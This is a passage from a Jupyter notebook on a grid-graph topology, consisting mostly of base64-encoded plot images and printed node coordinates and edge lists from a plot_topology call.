JCAfffQRI0aMoHr1\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x11052ccf8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plot_topology(Adj, M, N)" ] }, { "cell_type": "code", "execution_count": 96, "metadata": { "scrolled": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0.6, 0.1, 0.6\n", "0.5, 1.6, 0.5\n", "0.6, 2.3, 0.6\n", "0.6, 3.1, 0.6\n", "0.8, 4.4, 0.8\n", "0.4, 5.7, 0.4\n", "0.5, 6.1, 0.5\n", "0.5, 7.1, 0.5\n", "0.7, 8.8, 0.7\n", "0.9, 9.8, 0.9\n", "0.5, 10.2, 0.5\n", "0.5, 11.5, 0.5\n", "1.6, -0.1, 1.6\n", "1.6, 1.6, 1.6\n", "1.5, 2.1, 1.5\n", "1.7, 3.3, 1.7\n", "1.4, 4.3, 1.4\n", "1.5, 5.6, 1.5\n", "1.7, 6.1, 1.7\n", "1.7, 6.9, 1.7\n", "1.4, 8.8, 1.4\n", "1.4, 9.7, 1.4\n", "1.6, 10.1, 1.6\n", "1.5, 11.3, 1.5\n", "2.8, -0.0, 2.8\n", "2.7, 1.7, 2.7\n", "2.8, 2.1, 2.8\n", "2.7, 3.2, 2.7\n", "2.6, 4.5, 2.6\n", "2.7, 5.7, 2.7\n", "2.8, 6.4, 2.8\n", "2.7, 7.1, 2.7\n", "2.7, 8.9, 2.7\n", "2.6, 9.7, 2.6\n", "2.6, 10.2, 2.6\n", "2.7, 11.5, 2.7\n", "3.2, -0.1, 3.2\n", "3.1, 1.6, 3.1\n", "3.1, 2.3, 3.1\n", "3.1, 3.3, 3.1\n", "3.2, 4.5, 3.2\n", "3.2, 5.6, 3.2\n", "3.0, 6.4, 3.0\n", "3.2, 7.2, 3.2\n", "3.3, 8.9, 3.3\n", "2.9, 9.7, 2.9\n", "3.1, 10.2, 3.1\n", "3.1, 11.4, 3.1\n", "4.8, 0.2, 4.8\n", "4.5, 1.8, 4.5\n", "4.4, 2.2, 4.4\n", "4.8, 3.2, 4.8\n", "4.8, 4.6, 4.8\n", "4.6, 5.7, 4.6\n", "4.7, 6.3, 4.7\n", "4.7, 7.3, 4.7\n", "4.8, 8.9, 4.8\n", "4.6, 9.8, 4.6\n", "4.7, 10.1, 4.7\n", "4.7, 11.3, 4.7\n", "4.9, 0.1, 4.9\n", "5.1, 1.8, 5.1\n", "5.2, 2.1, 5.2\n", "5.1, 3.3, 5.1\n", "5.0, 4.5, 5.0\n", "5.3, 5.6, 5.3\n", "5.1, 6.3, 5.1\n", "5.1, 7.1, 5.1\n", "5.2, 8.6, 5.2\n", "5.1, 9.6, 5.1\n", "5.2, 10.3, 5.2\n", "5.3, 11.3, 5.3\n", "6.6, 0.3, 6.6\n", "6.7, 1.7, 6.7\n", "6.5, 2.2, 6.5\n", "6.6, 3.4, 6.6\n", "6.7, 4.5, 6.7\n", "6.4, 5.7, 6.4\n", "6.6, 6.2, 6.6\n", "6.5, 7.1, 6.5\n", "6.4, 8.6, 6.4\n", "6.6, 9.6, 6.6\n", "6.6, 10.1, 6.6\n", "6.8, 11.3, 6.8\n", "7.7, 0.1, 7.7\n", "7.6, 1.8, 7.6\n", "7.6, 2.4, 7.6\n", "7.5, 3.0, 7.5\n", "7.6, 4.3, 7.6\n", "7.7, 5.5, 7.7\n", "7.6, 6.2, 7.6\n", "7.8, 7.2, 7.8\n", "7.7, 8.8, 7.7\n", "7.7, 9.6, 7.7\n", "7.7, 10.1, 7.7\n", "7.9, 11.2, 7.9\n", "8.7, 0.2, 8.7\n", "8.7, 1.8, 8.7\n", "8.6, 2.4, 8.6\n", "8.7, 3.0, 8.7\n", "8.7, 4.6, 8.7\n", "8.7, 5.6, 8.7\n", "8.5, 6.2, 8.5\n", "8.4, 7.1, 8.4\n", "8.5, 8.8, 8.5\n", "8.6, 9.6, 8.6\n", "8.8, 10.1, 8.8\n", "8.5, 11.5, 8.5\n", "9.3, 0.1, 9.3\n", "9.2, 1.7, 9.2\n", "9.2, 2.2, 9.2\n", "9.0, 3.0, 9.0\n", "9.1, 4.7, 9.1\n", "9.0, 5.6, 9.0\n", "9.2, 6.3, 9.2\n", "9.1, 7.2, 9.1\n", "9.2, 8.8, 9.2\n", "9.2, 9.7, 9.2\n", "9.1, 10.2, 9.1\n", "9.2, 11.4, 9.2\n", "10.1, 0.1, 10.1\n", "10.3, 1.8, 10.3\n", "10.2, 2.1, 10.2\n", "10.2, 3.2, 10.2\n", "10.2, 4.4, 10.2\n", "10.3, 5.7, 10.3\n", "10.2, 6.3, 10.2\n", "10.2, 7.2, 10.2\n", "10.1, 8.9, 10.1\n", "10.1, 9.6, 10.1\n", "10.5, 10.1, 10.5\n", "10.1, 11.4, 10.1\n", "11.3, 0.2, 11.3\n", "11.3, 1.8, 11.3\n", "11.4, 2.3, 11.4\n", "11.2, 3.4, 11.2\n", "11.2, 4.4, 11.2\n", "11.1, 5.6, 11.1\n", "11.3, 6.3, 11.3\n", "11.3, 7.3, 11.3\n", "11.4, 8.8, 11.4\n", "11.3, 9.8, 11.3\n", "11.3, 10.0, 11.3\n", "11.2, 11.3, 11.2\n", "12.1, -0.0, 12.1\n", "12.2, 1.7, 12.2\n", "12.1, 2.1, 12.1\n", "12.2, 3.3, 12.2\n", "12.1, 4.7, 12.1\n", "12.1, 5.6, 12.1\n", "12.1, 6.2, 12.1\n", "12.0, 7.2, 12.0\n", "12.2, 8.9, 12.2\n", "12.3, 9.7, 12.3\n", "12.0, 10.0, 12.0\n", "12.2, 11.4, 12.2\n", "13.2, -0.0, 13.2\n", "13.1, 1.7, 13.1\n", "13.0, 2.3, 13.0\n", "12.9, 3.1, 12.9\n", "13.1, 4.5, 13.1\n", "13.2, 5.4, 13.2\n", "13.2, 6.3, 13.2\n", "13.1, 7.2, 13.1\n", "13.0, 8.8, 13.0\n", "13.2, 9.8, 13.2\n", "13.1, 10.2, 13.1\n", "13.0, 11.3, 13.0\n", "14.9, 0.2, 14.9\n", "14.8, 1.5, 14.8\n", "14.6, 2.1, 14.6\n", "14.7, 3.3, 14.7\n", "14.8, 4.5, 14.8\n", "14.6, 5.6, 14.6\n", "14.6, 6.4, 14.6\n", "14.6, 7.1, 14.6\n", "14.8, 8.7, 14.8\n", "14.9, 9.9, 14.9\n", "14.9, 10.3, 14.9\n", "14.8, 11.4, 14.8\n", "0,1\n", "1,0\n", "1,2\n", "1,25\n", "2,1\n", "2,14\n", "2,15\n", "4,5\n", "4,16\n", "4,15\n", "5,4\n", "5,6\n", "5,29\n", "6,5\n", "6,7\n", "6,18\n", "7,6\n", "7,8\n", "7,19\n", "8,7\n", "8,9\n", "9,8\n", "9,10\n", "9,21\n", "10,9\n", "10,11\n", "10,22\n", "11,10\n", "12,24\n", "12,25\n", "14,2\n", "14,15\n", "14,26\n", "14,25\n", "15,14\n", "15,16\n", "15,27\n", "15,2\n", "15,4\n", "16,4\n", "16,15\n", "16,28\n", "16,29\n", "18,6\n", "18,19\n", "18,30\n", "18,29\n", "19,7\n", "19,18\n", "19,20\n", "20,19\n", "20,21\n", "20,32\n", "21,9\n", "21,20\n", "21,22\n", "21,33\n", "22,10\n", "22,21\n", "22,23\n", "22,34\n", "23,22\n", "23,35\n", "24,12\n", "24,25\n", "24,36\n", "25,24\n", "25,26\n", "25,1\n", "25,12\n", "25,14\n", "26,14\n", "26,25\n", "26,27\n", "27,15\n", "27,26\n", "27,28\n", "27,39\n", "28,16\n", "28,27\n", "28,29\n", "29,28\n", "29,30\n", "29,41\n", "29,5\n", "29,16\n", "29,18\n", "30,18\n", "30,29\n", "30,31\n", "30,42\n", "31,30\n", "31,32\n", "31,43\n", "32,20\n", "32,31\n", "32,33\n", "32,44\n", "33,21\n", "33,32\n", "33,34\n", "33,45\n", "34,22\n", "34,33\n", "34,35\n", "34,46\n", "35,23\n", "35,34\n", "36,24\n", "36,48\n", "38,39\n", "38,50\n", "39,27\n", "39,38\n", "39,51\n", "41,29\n", "41,42\n", "41,53\n", "42,30\n", "42,41\n", "42,43\n", "42,54\n", "43,31\n", "43,42\n", "43,44\n", "43,55\n", "44,32\n", "44,43\n", "44,45\n", "44,56\n", "45,33\n", "45,44\n", "45,46\n", "46,34\n", "46,45\n", "48,36\n", "48,49\n", "48,60\n", "49,48\n", "49,50\n", "49,61\n", "50,38\n", "50,49\n", "50,51\n", "51,39\n", "51,50\n", "51,63\n", "53,41\n", "53,54\n", "53,65\n", "54,42\n", "54,53\n", "54,55\n", "54,66\n", "55,43\n", "55,54\n", "55,56\n", "55,67\n", "56,44\n", "56,55\n", "56,57\n", "56,68\n", "57,56\n", "57,69\n", "59,71\n", "60,48\n", "60,61\n", "60,72\n", "61,49\n", "61,60\n", "61,62\n", "62,61\n", "62,63\n", "63,51\n", "63,62\n", "63,64\n", "64,63\n", "64,65\n", "64,77\n", "64,88\n", "65,53\n", "65,64\n", "65,66\n", "66,54\n", "66,65\n", "66,67\n", "66,78\n", "67,55\n", "67,66\n", "67,68\n", "67,79\n", "68,56\n", "68,67\n", "68,69\n", "68,80\n", "69,57\n", "69,68\n", "69,70\n", "70,69\n", "70,71\n", "70,82\n", "71,59\n", "71,70\n", "71,83\n", "72,60\n", "72,73\n", "72,84\n", "73,72\n", "73,85\n", "77,78\n", "77,89\n", "77,64\n", "78,66\n", "78,77\n", "78,79\n", "79,67\n", "79,78\n", "79,80\n", "79,91\n", "80,68\n", "80,79\n", "80,81\n", "81,80\n", "81,82\n", "82,70\n", "82,81\n", "82,83\n", "82,94\n", "83,71\n", "83,82\n", "83,95\n", "84,72\n", "84,85\n", "84,96\n", "85,73\n", "85,84\n", "85,86\n", "85,109\n", "86,85\n", "86,87\n", "87,86\n", "87,88\n", "87,99\n", "88,87\n", "88,89\n", "88,64\n", "89,77\n", "89,88\n", "91,79\n", "91,92\n", "91,103\n", "92,91\n", "92,116\n", "94,82\n", "94,95\n", "95,83\n", "95,94\n", "96,84\n", "96,108\n", "96,109\n", "98,99\n", "98,110\n", "98,109\n", "99,87\n", "99,98\n", "101,102\n", "102,101\n", "102,103\n", "102,114\n", "103,91\n", "103,102\n", "103,115\n", "103,116\n", "105,117\n", "105,116\n", "107,119\n", "108,96\n", "108,109\n", "108,120\n", "109,108\n", "109,110\n", "109,121\n", "109,85\n", "109,96\n", "109,98\n", "110,98\n", "110,109\n", "110,111\n", "111,110\n", "111,112\n", "111,123\n", "112,111\n", "114,102\n", "114,115\n", "114,126\n", "115,103\n", "115,114\n", "115,116\n", "116,115\n", "116,117\n", "116,128\n", "116,92\n", "116,103\n", "116,105\n", "117,105\n", "117,116\n", "117,118\n", "117,129\n", "118,117\n", "118,119\n", "119,107\n", "119,118\n", "119,131\n", "120,108\n", "120,121\n", "120,132\n", "121,109\n", "121,120\n", "121,122\n", "121,133\n", "122,121\n", "122,123\n", "122,134\n", "123,111\n", "123,122\n", "123,124\n", "123,135\n", "124,123\n", "124,125\n", "124,135\n", "124,137\n", "125,124\n", "125,126\n", "125,137\n", "126,114\n", "126,125\n", "126,127\n", "126,138\n", "127,126\n", "127,128\n", "127,139\n", "128,116\n", "128,127\n", "128,129\n", "129,117\n", "129,128\n", "129,130\n", "129,141\n", "130,129\n", "130,131\n", "130,142\n", "131,119\n", "131,130\n", "131,143\n", "132,120\n", "132,133\n", "133,121\n", "133,132\n", "133,134\n", "133,145\n", "134,122\n", "134,133\n", "134,135\n", "134,146\n", "135,123\n", "135,134\n", "135,147\n", "135,124\n", "137,125\n", "137,138\n", "137,124\n", "138,126\n", "138,137\n", "138,139\n", "138,150\n", "139,127\n", "139,138\n", "139,151\n", "141,129\n", "141,142\n", "142,130\n", "142,141\n", "142,143\n", "142,154\n", "143,131\n", "143,142\n", "143,155\n", "144,145\n", "144,156\n", "145,133\n", "145,144\n", "145,146\n", "145,157\n", "146,134\n", "146,145\n", "146,147\n", "146,158\n", "147,135\n", "147,146\n", "147,159\n", "150,138\n", "150,151\n", "150,162\n", "151,139\n", "151,150\n", "151,152\n", "151,163\n", "152,151\n", "152,153\n", "153,152\n", "153,154\n", "153,165\n", "154,142\n", "154,153\n", "154,155\n", "154,166\n", "155,143\n", "155,154\n", "156,144\n", "156,157\n", "156,169\n", "157,145\n", "157,156\n", "157,158\n", "157,169\n", "158,146\n", "158,157\n", "158,159\n", "158,170\n", "159,147\n", "159,158\n", "159,160\n", "160,159\n", "160,161\n", "160,172\n", "161,160\n", "161,162\n", "161,173\n", "162,150\n", "162,161\n", "162,163\n", "163,151\n", "163,162\n", "163,164\n", "164,163\n", "164,165\n", "164,176\n", "165,153\n", "165,164\n", "165,166\n", "165,177\n", "166,154\n", "166,165\n", "169,157\n", "169,170\n", "169,156\n", "170,158\n", "170,169\n", "170,171\n", "171,170\n", "171,172\n", "172,160\n", "172,171\n", "172,173\n", "173,161\n", "173,172\n", "173,174\n", "174,173\n", "174,175\n", "175,174\n", "175,176\n", "176,164\n", "176,175\n", "176,177\n", "177,165\n", "177,176\n", "177,178\n", "178,177\n" ] } ], "source": [ "## Print node coordinates\n", "for k in range(M*N):\n", " print(\"%2.1f, %2.1f, %2.1f\" % (Coords[k, 0], Coords[k, 1], Coords[k, 0]))\n", " \n", "# Print Edges\n", "for k in range(M*N):\n", " for u in Adj[k]:\n", " print('%d,%d' % (k,u))" ] }, { "cell_type": "code", "execution_count": 112, "metadata": { "scrolled": false }, "outputs": [ { "data": { "image/png": "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\n9tMzzzyja6+91ncO4OwnP/mJKioq9I9//ENTpkzxnQOgGximkNUikYhqamo0YMAAXXnllXruued8\nJwHOFi5cqL333ltPPPGEbrjhBt85ANJgmELW23PPPfXss89Kkr7+9a/rzTff9FwEuCkoKFBNTY12\n2WUX/ed//qcWLVrkOwlAFximkBMmTpyo66+/Xp988oni8biam5t9JwFO9tlnHz311FOSkt9w8e67\n73ouAtAZhinkjEsuuUQnnHCC3nrrLX3ta1/znQM4mzx5sn70ox9py5YtisfjXJAOBIphCjnlscce\n0xe+8AU9//zzuuKKK3znAM5++MMf6uijj9Ybb7yhY445xncOgB1gmEJOiUQiqq6uVjQa1XXXXacF\nCxb4TgKc/fa3v1VpaameffZZ/ehHP/KdA6ADhinknEGDBqmqqkrGGE2ZMkW1tbW+kwAnkUhEK1eu\n1K677qqrrrpKCxcu9J0EoB2GKeSkUaNGac6cOfr00081atQoNTU1+U4CnAwePFi///3vZYzRscce\nqw0bNvhOApDCMIWcNXPmTH33u9/Vv/71L1VUVPjOAZxNmDBBP//5z9XU1KRRo0bxXatAIBimkNMS\niYS+9KUv6cUXX9SFF17oOwdwdtFFF+mb3/ym3n77bX31q1/1nQNADFPIA9XV1dp9991188036+GH\nH/adAzh75JFH9MUvflF//OMfdfnll/vOAfIewxRy3sCBA7V48WJFIhFNnTpVr7zyiu8kwEnb2yjt\ntttu+ulPf6rf/OY3vpOAvMYwhbxw8MEHa+7cuWpubtbYsWO1ZcsW30mAk+LiYj3//POKRCL69re/\nrddff913EpC3GKaQN773ve/pjDPO0AcffKBx48b5zgGctf+u1dGjR/Ndq4AnDFPIK3PnztWXv/xl\nvfTSS5oxY4bvHMDZ97//fU2dOlUbN27UxIkTfecAeYlhCnln6dKlKi4u1t13363777/fdw7grLKy\nUsOGDdPy5cs1a9Ys3zlA3mGYQt6JRqNatmyZ+vXrp+nTp2vNmjW+kwBny5cvV1FRkW677TbNnz/f\ndw6QVximkJcOOOAAJRIJtba2aty4cWpsbPSdBDgZOHCglixZ8tl3ra5bt853EpA3GKaQt0466STN\nmjVLH374ocaMGeM7B3A2fPhwzZs3Ty0tLRo3bpw2b97sOwnIC2mHKWPMvcaYd40xa9ptG2SMWWiM\n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